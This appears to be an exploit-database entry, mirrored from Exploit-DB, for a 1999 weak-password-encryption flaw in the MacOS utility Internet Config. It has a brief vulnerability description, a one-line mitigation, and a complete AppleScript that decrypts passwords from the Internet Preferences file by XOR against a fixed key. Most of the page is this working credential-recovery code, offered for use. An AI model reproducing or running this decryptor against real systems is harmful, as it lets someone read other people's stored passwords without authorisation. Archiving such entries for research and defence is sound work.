header-logo
Suggest Exploit
vendor:
Internet Config
by:
Dawid adix Adamski
2.6
CVSS
LOW
Weak Encryption
327 (Use of a Broken or Risky Cryptographic Algorithm)
CWE
Product Name: Internet Config
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: MacOS
1999

Internet Config Password Weak Encryption Vulnerability

Internet Config is a third-party freeware utility for MacOS. It provides a means of centralizing frequently-required connection information, including passwords, for use by several programs. The passwords are stored in encrypted form in the Internet Preferences file in the Preferences folder. The encryption algorithm used is weak and easily broken. Find an encrypted password in the Internet Preferences file in the Preferences folder using a resource editor like ResEdit. Discard the first byte as it is merely the length of the password. AppleScript exploit by Dawid adix Adamski is also available to decrypt the password.

Mitigation:

Ensure that strong encryption algorithms are used for storing passwords.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/546/info

Internet Config is a third-party freeware utility for MacOS. It provides a means of centralizing frequently-required connection information, including passwords, for use by several programs. The passwords are stored in encrypted form in the Internet Preferences file in the Preferences folder. The encryption algorithm used is weak and easily broken.

Find an encrypted password in the Internet Preferences file in the Preferences folder using a resource editor like ResEdit. Discard the first byte as it is merely the length of the password.
AppleScript exploit by Dawid adix Adamski:

(* IC Pass 2.1 by adix 21.07.99; Apple Script English *)
set hex1 to text returned of (display dialog "Enter encrypted password:" default answer ""
buttons {" Ok "} default button " Ok ")
set Alicia to "01010110010101110101100001011001010110100101101101011100010111010101111001011111"
set pass to ""
set i to 1
set skok to 0
set ile to count items in hex1
if ile = 1 or ile = 0 then
set pass to ""
else
repeat until (i > (ile - 1))
set kodascii to 0
set zn to items (i) thru (i + 1) in hex1
set lbin to hex2bin(zn) as string
repeat with a from 1 to 8
set bit2 to item (a + skok) of Alicia
set bit1 to item a of lbin
if (bit1 = bit2) then
set bitk to "0"
else
set bitk to "1"
end if
set kodascii to {kodascii + bitk * (2 ^ (8 - a))}
end repeat
set pass to {pass & (ASCII character kodascii)}
set skok to skok + 8
set i to i + 2
end repeat
end if
display dialog "Password: " & pass & return & return & "by adix" buttons {" Ok "} default button " Ok "
on hex2bin(zn)
set temphex to {"0000", "0001", "0010", "0011", "0100", "0101", "0110", "0111", "1000", "1001", "1010", "1011", "1100", "1101", "1110", "1111"}
set t2hex to "0123456789ABCDEF"
set bin to "" as string
repeat with j in zn
set t1 to j as string
repeat with i from 1 to (count items in t2hex)
if ((item i in t2hex) = t1) then
set temp to (item i in temphex)
exit repeat
end if
end repeat
set bin to {bin & temp} as string
end repeat
return (bin)
end hex2bin